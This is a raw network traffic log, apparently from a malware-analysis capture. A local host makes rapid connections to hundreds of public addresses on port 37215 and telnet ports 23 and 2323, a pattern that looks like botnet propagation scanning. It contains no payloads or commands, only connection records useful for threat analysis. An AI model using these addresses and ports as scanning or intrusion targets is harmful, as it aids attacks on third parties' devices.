Dec 4, 2024 20:34:35.668195009 CET	60275	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:35.668195963 CET	60275	37215	192.168.2.14	197.31.193.147
Dec 4, 2024 20:34:35.668195963 CET	60275	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:35.668209076 CET	60275	37215	192.168.2.14	41.9.41.114
Dec 4, 2024 20:34:35.668217897 CET	60275	37215	192.168.2.14	156.115.90.119
Dec 4, 2024 20:34:35.668226004 CET	60275	37215	192.168.2.14	41.116.43.220
Dec 4, 2024 20:34:35.668226004 CET	60275	37215	192.168.2.14	156.30.216.114
Dec 4, 2024 20:34:35.668226004 CET	60275	37215	192.168.2.14	197.99.47.153
Dec 4, 2024 20:34:35.668240070 CET	60275	37215	192.168.2.14	156.249.205.122
Dec 4, 2024 20:34:35.668241024 CET	60275	37215	192.168.2.14	156.154.72.93
Dec 4, 2024 20:34:35.668251991 CET	60275	37215	192.168.2.14	156.250.223.181
Dec 4, 2024 20:34:35.668255091 CET	60275	37215	192.168.2.14	156.31.32.115
Dec 4, 2024 20:34:35.668256044 CET	60275	37215	192.168.2.14	41.54.132.220
Dec 4, 2024 20:34:35.668272972 CET	60275	37215	192.168.2.14	197.241.142.199
Dec 4, 2024 20:34:35.668276072 CET	60275	37215	192.168.2.14	41.26.163.46
Dec 4, 2024 20:34:35.668276072 CET	60275	37215	192.168.2.14	197.217.109.179
Dec 4, 2024 20:34:35.668281078 CET	60275	37215	192.168.2.14	41.119.33.111
Dec 4, 2024 20:34:35.668292999 CET	60275	37215	192.168.2.14	41.150.251.70
Dec 4, 2024 20:34:35.668298006 CET	60275	37215	192.168.2.14	41.252.202.122
Dec 4, 2024 20:34:35.668301105 CET	60275	37215	192.168.2.14	156.46.114.106
Dec 4, 2024 20:34:35.668307066 CET	60275	37215	192.168.2.14	197.162.165.189
Dec 4, 2024 20:34:35.668311119 CET	60275	37215	192.168.2.14	156.125.141.31
Dec 4, 2024 20:34:35.668312073 CET	60275	37215	192.168.2.14	156.23.138.239
Dec 4, 2024 20:34:35.668311119 CET	60275	37215	192.168.2.14	156.213.113.74
Dec 4, 2024 20:34:35.668311119 CET	60275	37215	192.168.2.14	41.158.99.126
Dec 4, 2024 20:34:35.668315887 CET	60275	37215	192.168.2.14	41.154.157.205
Dec 4, 2024 20:34:35.668315887 CET	60275	37215	192.168.2.14	41.193.106.24
Dec 4, 2024 20:34:35.668319941 CET	60275	37215	192.168.2.14	41.168.156.228
Dec 4, 2024 20:34:35.668319941 CET	60275	37215	192.168.2.14	156.28.83.185
Dec 4, 2024 20:34:35.668325901 CET	60275	37215	192.168.2.14	156.170.112.155
Dec 4, 2024 20:34:35.668335915 CET	60275	37215	192.168.2.14	41.234.221.143
Dec 4, 2024 20:34:35.668335915 CET	60275	37215	192.168.2.14	156.208.233.210
Dec 4, 2024 20:34:35.668339968 CET	60275	37215	192.168.2.14	197.245.123.239
Dec 4, 2024 20:34:35.668339968 CET	60275	37215	192.168.2.14	156.24.249.52
Dec 4, 2024 20:34:35.668339968 CET	60275	37215	192.168.2.14	41.194.37.198
Dec 4, 2024 20:34:35.668339968 CET	60275	37215	192.168.2.14	156.200.143.21
Dec 4, 2024 20:34:35.668345928 CET	60275	37215	192.168.2.14	41.86.201.47
Dec 4, 2024 20:34:35.668349981 CET	60275	37215	192.168.2.14	197.242.172.177
Dec 4, 2024 20:34:35.668349981 CET	60275	37215	192.168.2.14	41.46.248.112
Dec 4, 2024 20:34:35.668349981 CET	60275	37215	192.168.2.14	156.164.37.90
Dec 4, 2024 20:34:35.668350935 CET	60275	37215	192.168.2.14	156.174.128.196
Dec 4, 2024 20:34:35.668350935 CET	60275	37215	192.168.2.14	156.160.153.153
Dec 4, 2024 20:34:35.668349981 CET	60275	37215	192.168.2.14	197.99.53.189
Dec 4, 2024 20:34:35.668353081 CET	60275	37215	192.168.2.14	197.31.115.76
Dec 4, 2024 20:34:35.668359041 CET	60275	37215	192.168.2.14	197.244.88.206
Dec 4, 2024 20:34:35.668359041 CET	60275	37215	192.168.2.14	41.208.76.99
Dec 4, 2024 20:34:35.668370962 CET	60275	37215	192.168.2.14	156.28.49.252
Dec 4, 2024 20:34:35.668370962 CET	60275	37215	192.168.2.14	197.80.151.236
Dec 4, 2024 20:34:35.668374062 CET	60275	37215	192.168.2.14	156.61.243.209
Dec 4, 2024 20:34:35.668375015 CET	60275	37215	192.168.2.14	197.34.94.131
Dec 4, 2024 20:34:35.668375015 CET	60275	37215	192.168.2.14	156.27.52.75
Dec 4, 2024 20:34:35.668376923 CET	60275	37215	192.168.2.14	41.5.102.202
Dec 4, 2024 20:34:35.668378115 CET	60275	37215	192.168.2.14	197.24.22.249
Dec 4, 2024 20:34:35.668378115 CET	60275	37215	192.168.2.14	197.192.29.7
Dec 4, 2024 20:34:35.668382883 CET	60275	37215	192.168.2.14	197.14.158.80
Dec 4, 2024 20:34:35.668390036 CET	60275	37215	192.168.2.14	156.100.223.176
Dec 4, 2024 20:34:35.668390036 CET	60275	37215	192.168.2.14	197.65.106.60
Dec 4, 2024 20:34:35.668391943 CET	60275	37215	192.168.2.14	156.177.56.41
Dec 4, 2024 20:34:35.668391943 CET	60275	37215	192.168.2.14	156.8.58.188
Dec 4, 2024 20:34:35.668391943 CET	60275	37215	192.168.2.14	197.147.248.124
Dec 4, 2024 20:34:35.668392897 CET	60275	37215	192.168.2.14	197.217.34.168
Dec 4, 2024 20:34:35.668395996 CET	60275	37215	192.168.2.14	41.4.204.101
Dec 4, 2024 20:34:35.668395996 CET	60275	37215	192.168.2.14	41.192.102.92
Dec 4, 2024 20:34:35.668395996 CET	60275	37215	192.168.2.14	41.9.252.1
Dec 4, 2024 20:34:35.668402910 CET	60275	37215	192.168.2.14	197.184.106.236
Dec 4, 2024 20:34:35.668406963 CET	60275	37215	192.168.2.14	41.40.81.197
Dec 4, 2024 20:34:35.668406963 CET	60275	37215	192.168.2.14	156.204.185.23
Dec 4, 2024 20:34:35.668407917 CET	60275	37215	192.168.2.14	156.142.213.233
Dec 4, 2024 20:34:35.668407917 CET	60275	37215	192.168.2.14	41.76.146.246
Dec 4, 2024 20:34:35.668410063 CET	60275	37215	192.168.2.14	41.53.27.174
Dec 4, 2024 20:34:35.668411016 CET	60275	37215	192.168.2.14	197.74.189.117
Dec 4, 2024 20:34:35.668411016 CET	60275	37215	192.168.2.14	156.194.85.140
Dec 4, 2024 20:34:35.668411016 CET	60275	37215	192.168.2.14	156.47.154.205
Dec 4, 2024 20:34:35.668411016 CET	60275	37215	192.168.2.14	41.12.81.214
Dec 4, 2024 20:34:35.668410063 CET	60275	37215	192.168.2.14	156.241.49.41
Dec 4, 2024 20:34:35.668415070 CET	60275	37215	192.168.2.14	156.12.164.225
Dec 4, 2024 20:34:35.668416977 CET	60275	37215	192.168.2.14	197.51.164.158
Dec 4, 2024 20:34:35.668416977 CET	60275	37215	192.168.2.14	41.27.1.253
Dec 4, 2024 20:34:35.668416977 CET	60275	37215	192.168.2.14	41.95.185.241
Dec 4, 2024 20:34:35.668432951 CET	60275	37215	192.168.2.14	197.235.240.149
Dec 4, 2024 20:34:35.668433905 CET	60275	37215	192.168.2.14	156.107.108.169
Dec 4, 2024 20:34:35.668433905 CET	60275	37215	192.168.2.14	197.159.87.17
Dec 4, 2024 20:34:35.668436050 CET	60275	37215	192.168.2.14	197.44.2.233
Dec 4, 2024 20:34:35.668435097 CET	60275	37215	192.168.2.14	156.59.162.247
Dec 4, 2024 20:34:35.668433905 CET	60275	37215	192.168.2.14	41.73.181.150
Dec 4, 2024 20:34:35.668436050 CET	60275	37215	192.168.2.14	197.71.149.180
Dec 4, 2024 20:34:35.668433905 CET	60275	37215	192.168.2.14	197.93.166.94
Dec 4, 2024 20:34:35.668445110 CET	60275	37215	192.168.2.14	41.44.20.167
Dec 4, 2024 20:34:35.668445110 CET	60275	37215	192.168.2.14	197.41.172.213
Dec 4, 2024 20:34:35.668445110 CET	60275	37215	192.168.2.14	41.110.222.165
Dec 4, 2024 20:34:35.668445110 CET	60275	37215	192.168.2.14	156.38.6.57
Dec 4, 2024 20:34:35.668446064 CET	60275	37215	192.168.2.14	197.129.138.135
Dec 4, 2024 20:34:35.668447971 CET	60275	37215	192.168.2.14	156.165.87.8
Dec 4, 2024 20:34:35.668461084 CET	60275	37215	192.168.2.14	197.122.223.35
Dec 4, 2024 20:34:35.668462992 CET	60275	37215	192.168.2.14	197.72.92.128
Dec 4, 2024 20:34:35.668462992 CET	60275	37215	192.168.2.14	156.93.225.179
Dec 4, 2024 20:34:35.668462992 CET	60275	37215	192.168.2.14	197.29.242.253
Dec 4, 2024 20:34:35.668463945 CET	60275	37215	192.168.2.14	156.6.223.110
Dec 4, 2024 20:34:35.668462992 CET	60275	37215	192.168.2.14	41.55.122.157
Dec 4, 2024 20:34:35.668462992 CET	60275	37215	192.168.2.14	41.35.176.15
Dec 4, 2024 20:34:35.668462992 CET	60275	37215	192.168.2.14	197.65.252.8
Dec 4, 2024 20:34:35.668467045 CET	60275	37215	192.168.2.14	41.25.107.57
Dec 4, 2024 20:34:35.668467045 CET	60275	37215	192.168.2.14	41.40.161.212
Dec 4, 2024 20:34:35.668467045 CET	60275	37215	192.168.2.14	41.67.154.239
Dec 4, 2024 20:34:35.668478012 CET	60275	37215	192.168.2.14	197.170.15.66
Dec 4, 2024 20:34:35.668478012 CET	60275	37215	192.168.2.14	156.12.150.228
Dec 4, 2024 20:34:35.668478966 CET	60275	37215	192.168.2.14	41.130.225.140
Dec 4, 2024 20:34:35.668478966 CET	60275	37215	192.168.2.14	41.105.112.40
Dec 4, 2024 20:34:35.668479919 CET	60275	37215	192.168.2.14	156.138.166.63
Dec 4, 2024 20:34:35.668481112 CET	60275	37215	192.168.2.14	156.57.150.123
Dec 4, 2024 20:34:35.668481112 CET	60275	37215	192.168.2.14	197.50.1.25
Dec 4, 2024 20:34:35.668481112 CET	60275	37215	192.168.2.14	156.177.86.55
Dec 4, 2024 20:34:35.668492079 CET	60275	37215	192.168.2.14	156.26.97.133
Dec 4, 2024 20:34:35.668494940 CET	60275	37215	192.168.2.14	41.55.60.15
Dec 4, 2024 20:34:35.668494940 CET	60275	37215	192.168.2.14	41.81.217.77
Dec 4, 2024 20:34:35.668494940 CET	60275	37215	192.168.2.14	197.235.212.63
Dec 4, 2024 20:34:35.668494940 CET	60275	37215	192.168.2.14	197.62.164.182
Dec 4, 2024 20:34:35.668495893 CET	60275	37215	192.168.2.14	156.30.74.62
Dec 4, 2024 20:34:35.668497086 CET	60275	37215	192.168.2.14	197.132.83.38
Dec 4, 2024 20:34:35.668497086 CET	60275	37215	192.168.2.14	41.127.96.180
Dec 4, 2024 20:34:35.668507099 CET	60275	37215	192.168.2.14	197.49.255.114
Dec 4, 2024 20:34:35.668509960 CET	60275	37215	192.168.2.14	41.68.177.212
Dec 4, 2024 20:34:35.668509960 CET	60275	37215	192.168.2.14	41.148.113.57
Dec 4, 2024 20:34:35.668509960 CET	60275	37215	192.168.2.14	197.5.236.223
Dec 4, 2024 20:34:35.668513060 CET	60275	37215	192.168.2.14	156.146.244.77
Dec 4, 2024 20:34:35.668513060 CET	60275	37215	192.168.2.14	156.200.226.94
Dec 4, 2024 20:34:35.668513060 CET	60275	37215	192.168.2.14	156.56.95.50
Dec 4, 2024 20:34:35.668514967 CET	60275	37215	192.168.2.14	197.11.188.142
Dec 4, 2024 20:34:35.668514967 CET	60275	37215	192.168.2.14	197.105.103.62
Dec 4, 2024 20:34:35.668514967 CET	60275	37215	192.168.2.14	156.111.228.169
Dec 4, 2024 20:34:35.668515921 CET	60275	37215	192.168.2.14	156.191.244.165
Dec 4, 2024 20:34:35.668517113 CET	60275	37215	192.168.2.14	156.99.146.10
Dec 4, 2024 20:34:35.668524027 CET	60275	37215	192.168.2.14	197.106.125.97
Dec 4, 2024 20:34:35.668885946 CET	56220	37215	192.168.2.14	156.251.83.218
Dec 4, 2024 20:34:35.669449091 CET	45720	37215	192.168.2.14	156.235.86.196
Dec 4, 2024 20:34:35.669990063 CET	57522	37215	192.168.2.14	156.125.121.36
Dec 4, 2024 20:34:35.670548916 CET	45674	37215	192.168.2.14	197.57.80.139
Dec 4, 2024 20:34:35.671072960 CET	56452	37215	192.168.2.14	41.70.211.68
Dec 4, 2024 20:34:35.671619892 CET	41842	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:35.672175884 CET	51508	37215	192.168.2.14	41.137.76.138
Dec 4, 2024 20:34:35.672713041 CET	36610	37215	192.168.2.14	197.212.128.183
Dec 4, 2024 20:34:35.673269033 CET	39522	37215	192.168.2.14	156.26.60.186
Dec 4, 2024 20:34:35.673799992 CET	34114	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:35.674360991 CET	55680	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:35.674886942 CET	52758	37215	192.168.2.14	41.69.3.230
Dec 4, 2024 20:34:35.675436974 CET	48400	37215	192.168.2.14	197.240.225.40
Dec 4, 2024 20:34:35.675987005 CET	49386	37215	192.168.2.14	156.84.140.18
Dec 4, 2024 20:34:35.676534891 CET	56572	37215	192.168.2.14	156.226.100.188
Dec 4, 2024 20:34:35.677086115 CET	46924	37215	192.168.2.14	197.171.113.254
Dec 4, 2024 20:34:35.677618980 CET	49264	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:35.678183079 CET	34186	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:35.678708076 CET	35070	37215	192.168.2.14	41.124.245.197
Dec 4, 2024 20:34:35.679231882 CET	53906	37215	192.168.2.14	197.230.114.235
Dec 4, 2024 20:34:35.679779053 CET	41166	37215	192.168.2.14	41.33.244.153
Dec 4, 2024 20:34:35.680324078 CET	53676	37215	192.168.2.14	156.16.70.72
Dec 4, 2024 20:34:35.680846930 CET	57632	37215	192.168.2.14	197.54.193.91
Dec 4, 2024 20:34:35.681390047 CET	56284	37215	192.168.2.14	197.103.13.13
Dec 4, 2024 20:34:35.681940079 CET	42356	37215	192.168.2.14	41.191.169.69
Dec 4, 2024 20:34:35.682486057 CET	53826	37215	192.168.2.14	156.73.55.186
Dec 4, 2024 20:34:35.683036089 CET	48806	37215	192.168.2.14	156.197.175.158
Dec 4, 2024 20:34:35.683590889 CET	55290	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:35.721916914 CET	2323	56904	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:35.722053051 CET	56904	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.722486973 CET	56970	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.723063946 CET	23	47398	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.723077059 CET	23	42572	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.723118067 CET	47398	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.723423958 CET	47464	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.723798990 CET	42572	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.724091053 CET	42638	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.737179041 CET	23	42528	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:35.737247944 CET	42528	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:35.737559080 CET	42594	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:35.783056974 CET	23	36316	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:35.783514023 CET	23	36328	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:35.783581018 CET	36328	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:35.789004087 CET	37215	60275	156.164.50.81	192.168.2.14
Dec 4, 2024 20:34:35.789015055 CET	37215	60275	197.208.202.223	192.168.2.14
Dec 4, 2024 20:34:35.789056063 CET	60275	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:35.789057016 CET	60275	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:35.789071083 CET	37215	60275	197.253.184.23	192.168.2.14
Dec 4, 2024 20:34:35.789081097 CET	37215	60275	156.239.60.195	192.168.2.14
Dec 4, 2024 20:34:35.789091110 CET	37215	60275	197.188.41.180	192.168.2.14
Dec 4, 2024 20:34:35.789104939 CET	37215	60275	41.167.243.102	192.168.2.14
Dec 4, 2024 20:34:35.789108992 CET	60275	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:35.789113998 CET	37215	60275	156.12.171.46	192.168.2.14
Dec 4, 2024 20:34:35.789124012 CET	37215	60275	197.123.241.110	192.168.2.14
Dec 4, 2024 20:34:35.789129019 CET	60275	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:35.789128065 CET	60275	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:35.789133072 CET	37215	60275	197.70.26.71	192.168.2.14
Dec 4, 2024 20:34:35.789139032 CET	60275	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:35.789153099 CET	37215	60275	197.52.167.29	192.168.2.14
Dec 4, 2024 20:34:35.789160967 CET	60275	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:35.789161921 CET	60275	37215	192.168.2.14	197.123.241.110
Dec 4, 2024 20:34:35.789170980 CET	37215	60275	41.5.195.235	192.168.2.14
Dec 4, 2024 20:34:35.789174080 CET	60275	37215	192.168.2.14	197.70.26.71
Dec 4, 2024 20:34:35.789180994 CET	37215	60275	156.144.78.212	192.168.2.14
Dec 4, 2024 20:34:35.789190054 CET	37215	60275	156.168.141.207	192.168.2.14
Dec 4, 2024 20:34:35.789199114 CET	37215	60275	41.194.61.209	192.168.2.14
Dec 4, 2024 20:34:35.789207935 CET	37215	60275	156.48.223.242	192.168.2.14
Dec 4, 2024 20:34:35.789211035 CET	60275	37215	192.168.2.14	197.52.167.29
Dec 4, 2024 20:34:35.789211988 CET	60275	37215	192.168.2.14	41.5.195.235
Dec 4, 2024 20:34:35.789211035 CET	60275	37215	192.168.2.14	156.144.78.212
Dec 4, 2024 20:34:35.789216995 CET	37215	60275	41.228.208.30	192.168.2.14
Dec 4, 2024 20:34:35.789223909 CET	60275	37215	192.168.2.14	156.168.141.207
Dec 4, 2024 20:34:35.789227009 CET	37215	60275	197.46.72.54	192.168.2.14
Dec 4, 2024 20:34:35.789233923 CET	60275	37215	192.168.2.14	41.194.61.209
Dec 4, 2024 20:34:35.789241076 CET	60275	37215	192.168.2.14	156.48.223.242
Dec 4, 2024 20:34:35.789253950 CET	60275	37215	192.168.2.14	197.46.72.54
Dec 4, 2024 20:34:35.789254904 CET	60275	37215	192.168.2.14	41.228.208.30
Dec 4, 2024 20:34:35.789305925 CET	37215	60275	156.77.41.255	192.168.2.14
Dec 4, 2024 20:34:35.789315939 CET	37215	60275	156.158.100.133	192.168.2.14
Dec 4, 2024 20:34:35.789350986 CET	60275	37215	192.168.2.14	156.77.41.255
Dec 4, 2024 20:34:35.789350986 CET	60275	37215	192.168.2.14	156.158.100.133
Dec 4, 2024 20:34:35.789483070 CET	37215	60275	156.230.112.106	192.168.2.14
Dec 4, 2024 20:34:35.789493084 CET	37215	60275	41.133.115.99	192.168.2.14
Dec 4, 2024 20:34:35.789501905 CET	37215	60275	156.84.190.194	192.168.2.14
Dec 4, 2024 20:34:35.789511919 CET	37215	60275	156.17.91.196	192.168.2.14
Dec 4, 2024 20:34:35.789518118 CET	60275	37215	192.168.2.14	156.230.112.106
Dec 4, 2024 20:34:35.789520979 CET	37215	60275	156.154.205.52	192.168.2.14
Dec 4, 2024 20:34:35.789521933 CET	60275	37215	192.168.2.14	41.133.115.99
Dec 4, 2024 20:34:35.789525986 CET	60275	37215	192.168.2.14	156.84.190.194
Dec 4, 2024 20:34:35.789530039 CET	37215	60275	41.106.205.46	192.168.2.14
Dec 4, 2024 20:34:35.789539099 CET	37215	60275	197.246.71.134	192.168.2.14
Dec 4, 2024 20:34:35.789539099 CET	60275	37215	192.168.2.14	156.17.91.196
Dec 4, 2024 20:34:35.789547920 CET	60275	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:35.789549112 CET	37215	60275	41.155.54.83	192.168.2.14
Dec 4, 2024 20:34:35.789555073 CET	60275	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:35.789557934 CET	37215	60275	197.31.193.147	192.168.2.14
Dec 4, 2024 20:34:35.789566040 CET	60275	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:35.789567947 CET	37215	60275	156.168.90.110	192.168.2.14
Dec 4, 2024 20:34:35.789577007 CET	37215	60275	156.134.74.251	192.168.2.14
Dec 4, 2024 20:34:35.789581060 CET	60275	37215	192.168.2.14	41.155.54.83
Dec 4, 2024 20:34:35.789586067 CET	37215	60275	41.9.41.114	192.168.2.14
Dec 4, 2024 20:34:35.789588928 CET	60275	37215	192.168.2.14	197.31.193.147
Dec 4, 2024 20:34:35.789596081 CET	37215	60275	156.115.90.119	192.168.2.14
Dec 4, 2024 20:34:35.789601088 CET	60275	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:35.789608002 CET	60275	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:35.789618969 CET	60275	37215	192.168.2.14	41.9.41.114
Dec 4, 2024 20:34:35.789628029 CET	60275	37215	192.168.2.14	156.115.90.119
Dec 4, 2024 20:34:35.791732073 CET	37215	41842	197.150.131.152	192.168.2.14
Dec 4, 2024 20:34:35.791781902 CET	41842	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:35.792246103 CET	44382	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:35.792855978 CET	58000	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:35.793436050 CET	36678	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:35.794096947 CET	53640	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:35.794883013 CET	51686	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:35.795618057 CET	45612	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:35.796236038 CET	35092	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:35.796904087 CET	51590	37215	192.168.2.14	197.123.241.110
Dec 4, 2024 20:34:35.797538996 CET	33990	37215	192.168.2.14	197.70.26.71
Dec 4, 2024 20:34:35.798374891 CET	38744	37215	192.168.2.14	197.52.167.29
Dec 4, 2024 20:34:35.799092054 CET	46848	37215	192.168.2.14	41.5.195.235
Dec 4, 2024 20:34:35.799798965 CET	56966	37215	192.168.2.14	156.144.78.212
Dec 4, 2024 20:34:35.800415039 CET	53018	37215	192.168.2.14	156.168.141.207
Dec 4, 2024 20:34:35.801024914 CET	57592	37215	192.168.2.14	41.194.61.209
Dec 4, 2024 20:34:35.801630020 CET	47954	37215	192.168.2.14	156.48.223.242
Dec 4, 2024 20:34:35.802459955 CET	34870	37215	192.168.2.14	41.228.208.30
Dec 4, 2024 20:34:35.803049088 CET	46240	37215	192.168.2.14	197.46.72.54
Dec 4, 2024 20:34:35.803684950 CET	48222	37215	192.168.2.14	156.77.41.255
Dec 4, 2024 20:34:35.804322004 CET	56810	37215	192.168.2.14	156.158.100.133
Dec 4, 2024 20:34:35.804892063 CET	41170	37215	192.168.2.14	156.230.112.106
Dec 4, 2024 20:34:35.805181026 CET	37215	55290	156.102.41.67	192.168.2.14
Dec 4, 2024 20:34:35.805223942 CET	55290	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:35.805505037 CET	40210	37215	192.168.2.14	41.133.115.99
Dec 4, 2024 20:34:35.806087971 CET	50672	37215	192.168.2.14	156.84.190.194
Dec 4, 2024 20:34:35.806644917 CET	49752	37215	192.168.2.14	156.17.91.196
Dec 4, 2024 20:34:35.807207108 CET	37024	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:35.807775021 CET	59100	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:35.808322906 CET	39784	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:35.808887959 CET	53624	37215	192.168.2.14	41.155.54.83
Dec 4, 2024 20:34:35.809426069 CET	35414	37215	192.168.2.14	197.31.193.147
Dec 4, 2024 20:34:35.809981108 CET	58918	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:35.810539961 CET	46458	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:35.811162949 CET	40674	37215	192.168.2.14	41.9.41.114
Dec 4, 2024 20:34:35.811779022 CET	60804	37215	192.168.2.14	156.115.90.119
Dec 4, 2024 20:34:35.812200069 CET	41842	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:35.812200069 CET	41842	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:35.812498093 CET	41960	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:35.812807083 CET	55290	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:35.812807083 CET	55290	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:35.813122034 CET	55366	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:35.843466997 CET	2323	56904	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:35.844525099 CET	2323	56970	194.176.145.170	192.168.2.14
Dec 4, 2024 20:34:35.844535112 CET	23	47398	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.844599009 CET	56970	2323	192.168.2.14	194.176.145.170
Dec 4, 2024 20:34:35.844989061 CET	23	47464	201.213.135.250	192.168.2.14
Dec 4, 2024 20:34:35.845036030 CET	47464	23	192.168.2.14	201.213.135.250
Dec 4, 2024 20:34:35.845331907 CET	23	42572	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.845503092 CET	23	42638	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:35.845546007 CET	42638	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:35.857868910 CET	23	42528	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:35.858016968 CET	23	42594	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:35.858072042 CET	42594	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:35.858105898 CET	60787	23	192.168.2.14	147.100.239.25
Dec 4, 2024 20:34:35.858105898 CET	60787	2323	192.168.2.14	121.46.177.162
Dec 4, 2024 20:34:35.858108997 CET	60787	23	192.168.2.14	166.224.170.83
Dec 4, 2024 20:34:35.858118057 CET	60787	23	192.168.2.14	104.202.131.225
Dec 4, 2024 20:34:35.858119965 CET	60787	23	192.168.2.14	163.224.84.131
Dec 4, 2024 20:34:35.858124018 CET	60787	23	192.168.2.14	76.28.238.168
Dec 4, 2024 20:34:35.858130932 CET	60787	23	192.168.2.14	157.227.102.247
Dec 4, 2024 20:34:35.858139992 CET	60787	23	192.168.2.14	193.89.41.251
Dec 4, 2024 20:34:35.858141899 CET	60787	23	192.168.2.14	35.214.173.128
Dec 4, 2024 20:34:35.858141899 CET	60787	23	192.168.2.14	184.199.76.114
Dec 4, 2024 20:34:35.858151913 CET	60787	2323	192.168.2.14	216.153.179.147
Dec 4, 2024 20:34:35.858155012 CET	60787	23	192.168.2.14	155.147.200.172
Dec 4, 2024 20:34:35.858160019 CET	60787	23	192.168.2.14	2.39.239.56
Dec 4, 2024 20:34:35.858167887 CET	60787	23	192.168.2.14	180.132.60.78
Dec 4, 2024 20:34:35.858170986 CET	60787	23	192.168.2.14	168.127.252.238
Dec 4, 2024 20:34:35.858174086 CET	60787	23	192.168.2.14	147.186.183.90
Dec 4, 2024 20:34:35.858175039 CET	60787	23	192.168.2.14	59.134.78.70
Dec 4, 2024 20:34:35.858182907 CET	60787	23	192.168.2.14	89.89.201.226
Dec 4, 2024 20:34:35.858184099 CET	60787	23	192.168.2.14	124.188.98.151
Dec 4, 2024 20:34:35.858200073 CET	60787	23	192.168.2.14	87.196.4.58
Dec 4, 2024 20:34:35.858201027 CET	60787	23	192.168.2.14	27.175.85.18
Dec 4, 2024 20:34:35.858203888 CET	60787	2323	192.168.2.14	95.44.50.120
Dec 4, 2024 20:34:35.858203888 CET	60787	23	192.168.2.14	41.67.217.142
Dec 4, 2024 20:34:35.858206987 CET	60787	23	192.168.2.14	147.195.242.64
Dec 4, 2024 20:34:35.858220100 CET	60787	23	192.168.2.14	111.133.45.101
Dec 4, 2024 20:34:35.858221054 CET	60787	23	192.168.2.14	205.231.32.42
Dec 4, 2024 20:34:35.858221054 CET	60787	23	192.168.2.14	223.97.190.72
Dec 4, 2024 20:34:35.858233929 CET	60787	23	192.168.2.14	177.156.59.57
Dec 4, 2024 20:34:35.858247042 CET	60787	23	192.168.2.14	172.101.235.39
Dec 4, 2024 20:34:35.858247042 CET	60787	23	192.168.2.14	119.32.189.79
Dec 4, 2024 20:34:35.858247042 CET	60787	23	192.168.2.14	173.218.156.173
Dec 4, 2024 20:34:35.858257055 CET	60787	2323	192.168.2.14	85.6.246.28
Dec 4, 2024 20:34:35.858257055 CET	60787	23	192.168.2.14	5.17.162.89
Dec 4, 2024 20:34:35.858262062 CET	60787	23	192.168.2.14	162.28.243.28
Dec 4, 2024 20:34:35.858263016 CET	60787	23	192.168.2.14	204.72.25.64
Dec 4, 2024 20:34:35.858263969 CET	60787	23	192.168.2.14	181.28.207.243
Dec 4, 2024 20:34:35.858268976 CET	60787	23	192.168.2.14	208.87.144.120
Dec 4, 2024 20:34:35.858275890 CET	60787	23	192.168.2.14	36.135.30.108
Dec 4, 2024 20:34:35.858280897 CET	60787	23	192.168.2.14	69.146.59.235
Dec 4, 2024 20:34:35.858283043 CET	60787	23	192.168.2.14	193.172.98.151
